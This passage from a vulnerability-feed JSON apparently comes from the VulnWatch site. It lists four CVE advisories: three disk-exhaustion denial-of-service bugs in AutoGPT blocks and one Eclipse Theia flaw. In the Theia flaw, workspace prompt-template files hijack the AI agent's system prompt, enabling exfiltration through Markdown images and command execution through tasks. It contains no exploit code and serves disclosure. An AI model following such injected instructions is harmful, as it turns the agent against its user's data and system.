            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-19f0-7296-a9a6-9d918fde949f",
            "title": "CVE-2025-32424: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32424",
            "content_html": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, ScreenshotWebPageBlock will store the captured screenshots in a temporary directory. `StepThroughItemsBlock` can be used to iterate `ScreenshotWebPageBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `ScreenshotWebPageBlock` does not limit the amount of disk space consumed in the current working directory. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.",
            "summary": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, ScreenshotWebPageBlock will store the captured screenshots in a temporary directory. `StepThroughItemsBlock` can be used to iterate `ScreenshotWebPageBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `ScreenshotWebPageBlock` does not limit the amount of disk space consumed in the current working directory. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-19e4-70d4-aae2-09b15384e96c",
            "title": "CVE-2025-32422: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32422",
            "content_html": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `StepThroughItemsBlock` can iterate all the contents in a list and send them to `FileStoreBlock` for downloading one by one. Although `FileStoreBlock` has access time limits for downloading files, `StepThroughItemsBlock` can be used to slowly iterate and download relatively small files (e.g., 100M) multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `FileStoreBlock` does not limit the amount of disk space consumed in the current working directory. When a malicious user chooses to download too many videos, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.",
            "summary": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `StepThroughItemsBlock` can iterate all the contents in a list and send them to `FileStoreBlock` for downloading one by one. Although `FileStoreBlock` has access time limits for downloading files, `StepThroughItemsBlock` can be used to slowly iterate and download relatively small files (e.g., 100M) multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `FileStoreBlock` does not limit the amount of disk space consumed in the current working directory. When a malicious user chooses to download too many videos, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-19da-7165-9807-293bdb01d69b",
            "title": "CVE-2025-32392: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32392",
            "content_html": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, AutoGPT's LoopVideoBLock allows users to input a video file and process the video, such as looping it 5 times or extending the time, and finally writing it to disk. However, there is no limit on the resources that can be allocated during execution. For example, the number of loops is user-controllable and unlimited. When a malicious attacker loops too many times, the generated video is too large, and after writing it to disk, the disk space is exhausted, eventually causing DoS. Version 0.6.63 patches the issue.",
            "summary": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, AutoGPT's LoopVideoBLock allows users to input a video file and process the video, such as looping it 5 times or extending the time, and finally writing it to disk. However, there is no limit on the resources that can be allocated during execution. For example, the number of loops is user-controllable and unlimited. When a malicious attacker loops too many times, the generated video is too large, and after writing it to disk, the disk space is exhausted, eventually causing DoS. Version 0.6.63 patches the issue.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-19ce-7248-a5b3-8864dddb6116",
            "title": "CVE-2026-46580: In Eclipse Theia versions prior to 1.71.0, files matching the pattern .prompts\/*.prompttemplate in a workspace were auto",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46580",
            "content_html": "In Eclipse Theia versions prior to 1.71.0, files matching the pattern .prompts\/*.prompttemplate in a workspace were automatically loaded and could override or extend the AI agent's system prompts. An attacker could craft a malicious repository containing prompt template files that, when the workspace was opened in Theia, replaced the AI's system instructions with attacker-controlled content (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.",
            "summary": "In Eclipse Theia versions prior to 1.71.0, files matching the pattern .prompts\/*.prompttemplate in a workspace were automatically loaded and could override or extend the AI agent's system prompts. An attacker could craft a malicious repository containing prompt template files that, when the workspace was opened in Theia, replaced the AI's system instructions with attacker-controlled content (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        }        
    ]
}
